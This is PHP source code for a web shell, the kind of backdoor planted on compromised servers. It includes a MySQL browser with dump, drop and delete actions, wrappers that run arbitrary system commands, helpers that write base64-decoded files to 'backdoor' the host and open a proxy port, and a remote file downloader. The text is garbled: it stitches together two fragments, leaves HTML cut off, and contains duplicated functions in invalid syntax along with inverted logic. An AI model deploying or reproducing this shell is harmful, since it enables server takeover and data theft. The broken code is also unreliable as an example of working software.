     echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
     echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
     $v = join (";",$dmptbls);
     echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
     if ($dump_file) {$tmp = $dump_file;}
     else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
     echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
     echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
     echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
     echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
     echo "</form>";
    }
    else
    {
     $diplay = TRUE;
     $set = array();
     $set["sock"] = $sql_sock;
     $set["db"] = $sql_db;
     $dump_out = "download";
     $set["print"] = 0;
     $set["nl2br"] = 0;
     $set[""] = 0;
     $set["file"] = $dump_file;
     $set["add_drop"] = TRUE;
     $set["onlytabs"] = array();
     if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
     $ret = mysql_dump($set);
     if ($sql_dump_download)
     {
      @ob_clean();
      header("Content-type: application/octet-stream");
      header("Content-length: ".strlen($ret));
      header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
      echo $ret;
      exit;
     }
     elseif ($sql_dump_savetofile)
     {
      $fp = fopen($sql_dump_file,"w");
      if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
      else
      {
       fwrite($fp,$ret);
       fclose($fp);
       echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
      }
     }
     else {echo "<b>Dump: nothing to do!</b>";}
    }
   }
   if ($diplay)
   {
    if (!empty($sql_tbl))
    {
     if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
     $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
     $count_row = mysql_fetch_array($count);
     mysql_free_result($count);
     $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
     $tbl_struct_fields = array();
     while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
     if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
     if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
     if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
     if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
     $perpage = $sql_tbl_le - $sql_tbl_ls;
     if (!is_numeric($perpage)) {$perpage = 10;}
     $numpages = $count_row[0]/$perpage;
     $e = explode(" ",$sql_order);
     if (count($e) == 2)
     {
      if ($e[0] == "d") {$asc_desc = "DESC";}
      else {$asc_desc = "ASC";}
      $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
     }
     else {$v = "";}
     $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
     $result = mysql_query($query) or print(mysql_smarterror());
     echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
     if ($sql_tbl_act == "insert")
     {
      if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
      if (!empty($sql_tbl_insert_radio))
      {

      }
      else
      {
       echo "<br><br><b>Inserting row into table:</b><br>";
       if (!empty($sql_tbl_insert_q))
       {
        $sql_query = "SELECT * FROM `".$sql_tbl."`";
        $sql_query .= " WHERE".$sql_tbl_insert_q;
        $sql_query .= " LIMIT 1;";
        $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
        $values = mysql_fetch_assoc($result);
        mysql_free_result($result);
       }
       else {$values = array();}
       echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
       foreach ($tbl_struct_fields as $field)
       {
        $name = $field["Field"];
        if (empty($sql_tbl_insert_q)) {$v = "";}
        echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
        $i++;
       }
       echo "</table><br>";
       echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
       if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
       echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
      }
     }
     if ($sql_tbl_act == "browse")
     {
      $sql_tbl_ls = abs($sql_tbl_ls);
      $sql_tbl_le = abs($sql_tbl_le);
      echo "<hr size=\"1\" noshade>";
      echo "[Pages]&nbsp;";
      $b = 0;
      for($i=0;$i<$numpages;$i++)
      {
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
       echo $i;
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
       if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
       else {echo "&nbsp;";}
      }
      if ($i == 0) {echo "empty";}
      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
      echo "<tr>";
      echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
      for ($i=0;$i<mysql_num_fields($result);$i++)
      {
       $v = mysql_field_name($result,$i);
       if ($e[0] == "a") {$s = "d"; $m = "asc";}
       else {$s = "a"; $m = "desc";}
       echo "<td>";
       if (empty($e[0])) {$e[0] = "a";}
       if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
       else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\">[sort]</a>";}
       echo "</td>";
      }
      echo "<td><font color=\"green\"><b>Action</b></font></td>";
      echo "</tr>";
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       echo "<tr>";
       $w = "";
       $i = 0;
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
       $i = 0;
       foreach ($row as $k=>$v)
       {
        $v = htmlspecialchars($v);
        if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
        echo "<td>".$v."</td>";
        $i++;
       }
       echo "<td>";
       echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">[Delete]</a>&nbsp;";
       echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><b>[Edit]</b></a>&nbsp;";
       echo "</td>";
       echo "</tr>";
      }
      mysql_free_result($result);
      echo "</table><hr size=\"1\" noshade><p align=\"left\">^<select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"deleterow\">Delete</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
     }
    }
    else
    {
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
     if (!$result) {echo mysql_smarterror();}
     else
     {
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
      $i = 0;
      $tsize = $trows = 0;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       $tsize += $row["Data_length"];
       $trows += $row["Rows"];
       $size = view_size($row["Data_length"]);
       echo "<tr>";
       echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
       echo "<td>".$row["Rows"]."</td>";
       echo "<td>".$row["Type"]."</td>";
       echo "<td>".$row["Create_time"]."</td>";
       echo "<td>".$row["Update_time"]."</td>";
       echo "<td>".$size."</td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">[Empty]</a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">[Drop]</a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><b>[Insert]</b></a>&nbsp;</td>";
       echo "</tr>";
       $i++;
      }
      echo "<tr bgcolor=\"000000\">";
      echo "<td><center><b>»</b></center></td>";
      echo "<td><center><b>".$i." table(s)</b></center></td>";
      echo "<td><b>".$trows."</b></td>";
      echo "<td>".$row[1]."</td>";
      echo "<td>".$row[10]."</td>";
      echo "<td>".$row[11]."</td>";
      echo "<td><b>".view_size($tsize)."</b></td>";
      echo "<td></td>";
      echo "</tr>";
      echo "</table><hr size=\"1\" noshade><p align=\"right\">^<select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"tbldrop\">Drop</option>";
      echo "<option value=\"tblempty\">Empty</option>";
      echo "<option value=\"tbldump\">Dump</option>";
      echo "<option value=\"tblcheck\">Check table</option>";
      echo "<option value=\"tbloptimize\">Optimize table</option>";
      echo "<option value=\"tblrepair\">Repair table</option>";
      echo "<option value=\"tblanalyze\">Analyze table</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
      mysql_free_result($result);
     }
    }
   }
   }
  }
  else
  {
   $acts = array("","newdb","serverstatus","servervars","processes","getfile");
   if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
   if (!empty($sql_act))
   {
    echo "<hr size=\"1\" noshade>";
    if ($sql_act == "newdb")
    {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
    }
    if ($sql_act == "serverstatus")
    {
     $result = mysql_query("SHOW STATUS", $sql_sock);
     echo "<center><b>Server-status variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table></center>";
     mysql_free_result($result);
    }
    if ($sql_act == "servervars")
    {
     $result = mysql_query("SHOW VARIABLES", $sql_sock);
     echo "<center><b>Server variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "processes")
    {
     if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
     echo "<center><b>Processes:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>

<?php
function myshellexec( $command )
{
    if ( !( $p = popen( "($command)2>&1", "r" ) ) )
    {
        return 126;
    }
    while ( !feof( $p ) )
    {
        $line = fgets( $p, 1000 );
        $out .= $line;
    }
    pclose( $p );
    return $out;
}

function myshellexec( for ( ;$cmd )
 {
 global $disablefunc, $result = "", if ( !isset( $cmd ) )
 {
 if ( is_callable( "exec" ) && !in_array( "exec", $disablefunc ) )
 {
 exec( $cmd, &$result ), $result = join( "\n", $result ), ( $result = shell_exec( "$cmd" ) ) !== FALSE; }
 }
 else if ( is_callable( "system" ) && !in_array( "system", $disablefunc ) )
 {
 $v = ob_get_contents( ), @ob_clean( ), system( $cmd ), $result = ob_get_contents( ), @ob_clean( ), echo $v, }
 else if ( is_callable( "passthru" ) && !in_array( "passthru", $disablefunc ) )
 {
 $v = ob_get_contents( ), @ob_clean( ), passthru( $cmd ), $result = ob_get_contents( ), @ob_clean( ), echo $v, }
 else if ( is_resource( $fp = popen( $cmd, "r" ) ) )
 {
 $result = "", while ( !feof( $fp ) )
 {
 $result .= fread( $fp, 1024 ), }
 pclose( $fp ), }
 }
 )
{
    return $result;
}

function checkproxyhost( )
{
    $host = getenv( "HTTP_HOST" );
    $filename = "/tmp/.setan/xh";
    if ( file_exists( $filename ) )
    {
        $_POST['proxyhostmsg'] = "</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' has a good firewall or IDS  installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>";
    }
    else
    {
        $_POST['proxyhostmsg'] = "</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>";
    }
}

function cf( $fname, $text )
{
    ( $w_file = fopen( $fname, "w" ) ) || err( );
    if ( $w_file )
    {
        fputs( $w_file, base64_decode( $text ) );
        @fclose( $w_file );
    }
}

function cfb( $fname, $text )
{
    ( $w_file = fopen( $fname, "w" ) ) || bberr( );
    if ( $w_file )
    {
        fputs( $w_file, base64_decode( $text ) );
        @fclose( $w_file );
    }
}

function err( )
{
    $_POST['backcconnmsge'] = "</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>";
}

function bberr( )
{
    $_POST['backcconnmsge'] = "</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>";
}

function which( $pr )
{
    $path = ex( "which $pr" );
    if ( !isset( $path ) )
    {
        return $path;
    }
    else
    {
        return $pr;
    }
}

function ex( $cfe )
{
    $res = "";
    if ( !isset( $cfe ) )
    {
        if ( function_exists( "exec" ) )
        {
            @exec( $cfe, &$res );
            $res = join( "\n", $res );
        }
        else if ( function_exists( "shell_exec" ) )
        {
            $res = shell_exec( $cfe );
        }
        else if ( function_exists( "system" ) )
        {
            @ob_start( );
            @system( $cfe );
            $res = ob_get_contents( );
            @ob_end_clean( );
        }
        else if ( function_exists( "passthru" ) )
        {
            @ob_start( );
            @passthru( $cfe );
            $res = ob_get_contents( );
            @ob_end_clean( );
        }
        else if ( is_resource( $f = popen( $cfe, "r" ) ) )
        {
            $res = "";
            while ( !feof( $f ) )
            {
                $res .= fread( $f, 1024 );
            }
            @pclose( $f );
        }
    }
    return $res;
}

function getmicrotime( )
{
    $sec = explode( " ", microtime( ) )[1];
    $usec = explode( " ", microtime( ) )[0];
    return ( double )$usec + ( double )$sec;
}

function strips( &$arr, $k = "" )
{
    if ( is_array( $arr ) )
    {
        foreach ( $arr as $k=>$v )
        {
            if ( strtoupper( $k ) != "GLOBALS" )
            {
                    continue;
            }
            else
            {
                strips( $arr["$k"] );
            }
        }
    }
    else
    {
        $arr = stripslashes( $arr );
    }
}

function dosyayicek( $link, $file )
{
    $fp = fopen( $link, "r" );
    while ( !feof( $fp ) )
    {
        $cont .= fread( $fp, 1024 );
    }
    fclose( $fp );
    $fp2 = fopen( $file, "w" );
    fwrite( $fp2, $cont );
    fclose( $fp2 );
}

function buff_prepare( )
{
    global $sess_data;
    global $act;
    foreach ( $sess_data['copy'] as $k=>$v )
    {
        $sess_data['copy'][$k] = str_replace( "\\", DIRECTORY_SEPARATOR, realpath( $v ) );
    }
    foreach ( $sess_data['cut'] as $k=>$v )
    {
        $sess_data['cut'][$k] = str_replace( "\\", DIRECTORY_SEPARATOR, realpath( $v ) );
    }
    $sess_data['copy'] = array_unique( $sess_data['copy'] );
    $sess_data['cut'] = array_unique( $sess_data['cut'] );
    sort( &$sess_data['copy'] );
    sort( &$sess_data['cut'] );
    if ( $act != "copy" )
    {
        foreach ( $sess_data['cut'] as $k=>$v )
        {
            if ( $sess_data['copy'][$k] == $v )
            {
                    continue;
            }
            else
            {
            }
        }
    }
    foreach ( $sess_data['copy'] as $k=>$v )
    {
        if ( $sess_data['cut'][$k] == $v )
        {
                continue;
        }
        else
        {
        }
    }
}

function sess_put( $data )
{
    global $sess_cookie;
    global $sess_data;
    buff_prepare( );
    $sess_data = $data;
    $data = serialize( $data );
    setcookie( $sess_cookie, $data );
}

function str2mini( $content, $len )
{
    if ( $len < strlen( $content ) )
    {
        $len = ceil( $len / 2 ) - 2;
        return substr( $content, 0, $len )."...".substr( $content, 0 - $len );
    }
    else
    {
        return $content;
    }
}

function view_size( $size )
{
    if ( !is_numeric( $size ) )
    {
        return FALSE;
    }
    else if ( 1073741824 <= $size )
    {
        $size = round( $size / 1073741824 * 100 ) / 100." GB";
    }
    else if ( 1048576 <= $size )
    {
        $size = round( $size / 1048576 * 100 ) / 100." MB";
    }
    else if ( 1024 <= $size )
    {
        $size = round( $size / 1024 * 100 ) / 100." KB";
    }
    else
    {
        $size .= " B";
    }
    return $size;
}

function fs_copy_dir( $d, $t )
{
    $d = str_replace( "\\", DIRECTORY_SEPARATOR, $d );
    if ( substr( $d, -1 ) != DIRECTORY_SEPARATOR )
    {
        $d .= DIRECTORY_SEPARATOR;
    }
    $h = opendir( $d );
    while ( ( $o = readdir( $h ) ) !== FALSE )
    {
        if ( $o != "." && $o != ".." )
        {
                continue;
        }
        else
        {
            if ( !is_dir( $d.DIRECTORY_SEPARATOR.$o ) )
            {
                $ret = copy( $d.DIRECTORY_SEPARATOR.$o, $t.DIRECTORY_SEPARATOR.$o );
            }
            else
            {
                $ret = mkdir( $t.DIRECTORY_SEPARATOR.$o );
                fs_copy_dir( $d.DIRECTORY_SEPARATOR.$o, $t.DIRECTORY_SEPARATOR.$o );
            }
            if ( !$ret )
            {
                    continue;
            }
            else
            {
                return $ret;
            }
        }
    }
    closedir( $h );
    return TRUE;
}

function fs_copy_obj( $d, $t )
{
    $d = str_replace( "\\", DIRECTORY_SEPARATOR, $d );
    $t = str_replace( "\\", DIRECTORY_SEPARATOR, $t );
    if ( !is_dir( dirname( $t ) ) )
    {
        mkdir( dirname( $t ) );
    }
    if ( is_dir( $d ) )
    {
        if ( substr( $d, -1 ) != DIRECTORY_SEPARATOR )
        {
            $d .= DIRECTORY_SEPARATOR;
        }
        if ( substr( $t, -1 ) != DIRECTORY_SEPARATOR )
        {
            $t .= DIRECTORY_SEPARATOR;
        }
        return fs_copy_dir( $d, $t );
    }
    else if ( is_file( $d ) )
    {
        return copy( $d, $t );
    }
    else
    {
        return FALSE;
    }
}

function fs_move_dir( $d, $t )
{
    $h = opendir( $d );
    if ( !is_dir( $t ) )
    {
        mkdir( $t );
    }
    while ( ( $o = readdir( $h ) ) !== FALSE )
    {
        if ( $o != "." && $o != ".." )
        {
                continue;
        }
        else
        {
            $ret = TRUE;
            if ( !is_dir( $d.DIRECTORY_SEPARATOR.$o ) )
            {
                $ret = copy( $d.DIRECTORY_SEPARATOR.$o, $t.DIRECTORY_SEPARATOR.$o );
            }
            else if ( mkdir( $t.DIRECTORY_SEPARATOR.$o ) && fs_copy_dir( $d.DIRECTORY_SEPARATOR.$o, $t.DIRECTORY_SEPARATOR.$o ) )
            {
                $ret = FALSE;
            }
            if ( !$ret )
            {
                    continue;
            }
            else
            {
                return $ret;
            }
        }
    }
    closedir( $h );
    return TRUE;
}

function fs_move_obj( $d, $t )
{
    $d = str_replace( "\\", DIRECTORY_SEPARATOR, $d );
    $t = str_replace( "\\", DIRECTORY_SEPARATOR, $t );
    if ( is_dir( $d ) )
    {
        if ( substr( $d, -1 ) != DIRECTORY_SEPARATOR )
        {
            $d .= DIRECTORY_SEPARATOR;
        }
        if ( substr( $t, -1 ) != DIRECTORY_SEPARATOR )
        {
            $t .= DIRECTORY_SEPARATOR;
        }
        return fs_move_dir( $d, $t );
    }
    else if ( is_file( $d ) )
    {
        if ( copy( $d, $t ) )
        {
            return unlink( $d );
        }
        else
        {
            unlink( $t );
            return FALSE;
        }
        else
        {
            return FALSE;
        }
    }
}

function fs_rmdir( $d )
{
    $h = opendir( $d );
    while ( ( $o = readdir( $h ) ) !== FALSE )
    {
        if ( $o != "." && $o != ".." )
        {
                continue;
        }
        else
        {
            if ( !is_dir( $d.$o ) )
            {
                unlink( $d.$o );
                continue;
            }
            else
            {
                fs_rmdir( $d.$o.DIRECTORY_SEPARATOR );
                rmdir( $d.$o );
            }
        }
    }
    closedir( $h );
    rmdir( $d );
    return !is_dir( $d );
}

function fs_rmobj( $o )
{
    $o = str_replace( "\\", DIRECTORY_SEPARATOR, $o );
    if ( is_dir( $o ) )
    {
        if ( substr( $o, -1 ) != DIRECTORY_SEPARATOR )
        {
            $o .= DIRECTORY_SEPARATOR;
        }
        return fs_rmdir( $o );
    }
    else if ( is_file( $o ) )
    {
        return unlink( html_entity_decode( $o ) );
    }
    else
    {
        return FALSE;
    }
}

function myshellexec( for ( ;$cmd )
 {
 global $disablefunc, $result = "", if ( !isset( $cmd ) )
 {
 if ( is_callable( "exec" ) && !in_array( "exec", $disablefunc ) )
 {
 exec( $cmd, &$result ), $result = join( "\n", $result ), ( $result = shell_exec( "$cmd" ) ) !== FALSE; }
 }
 else if ( is_callable( "system" ) && !in_array( "system", $disablefunc ) )
 {
 $v = ob_get_contents( ), @ob_clean( ), system( $cmd ), $result = ob_get_contents( ), @ob_clean( ), echo $v, }
 else if ( is_callable( "passthru" ) && !in_array( "passthru", $disablefunc ) )
 {
 $v = ob_get_contents( ), @ob_clean( ), passthru( $cmd ), $result = ob_get_contents( ), @ob_clean( ), echo $v, }
 else if ( is_resource( $fp = popen( $cmd, "r" ) ) )
 {
 $result = "", while ( !feof( $fp ) )
 {
 $result .= fread( $fp, 1024 ), }
 pclose( $fp ), }
 }
 )
{
    return $result;
}

function tabsort( $a, $b )
{
    global $v;
    return strnatcmp( $a[$v], $b[$v] );
}

function view_perms( $mode )
{
    if ( ( $mode & 49152 ) === 49152 )
    {
        $type = "s";
    }
    else if ( ( $mode & 16384 ) === 16384 )
    {
        $type = "d";
    }
    else if ( ( $mode & 40960 ) === 40960 )
    {
        $type = "l";
    }
    else if ( ( $mode & 32768 ) === 32768 )
    {
        $type = "-";
    }
    else if ( ( $mode & 24576 ) === 24576 )
    {
        $type = "b";
    }
    else if ( ( $mode & 8192 ) === 8192 )
    {
        $type = "c";
    }
    else if ( ( $mode & 4096 ) === 4096 )
    {
        $type = "p";
    }
    else
    {
        $type = "?";
    }
    $owner['read'] = $mode & 256 ? "r" : "-";
    $owner['write'] = $mode & 128 ? "w" : "-";
    $owner['execute'] = $mode & 64 ? "x" : "-";
    $group['read'] = $mode & 32 ? "r" : "-";
    $group['write'] = $mode & 16 ? "w" : "-";
    $group['execute'] = $mode & 8 ? "x" : "-";
    $world['read'] = $mode & 4 ? "r" : "-";
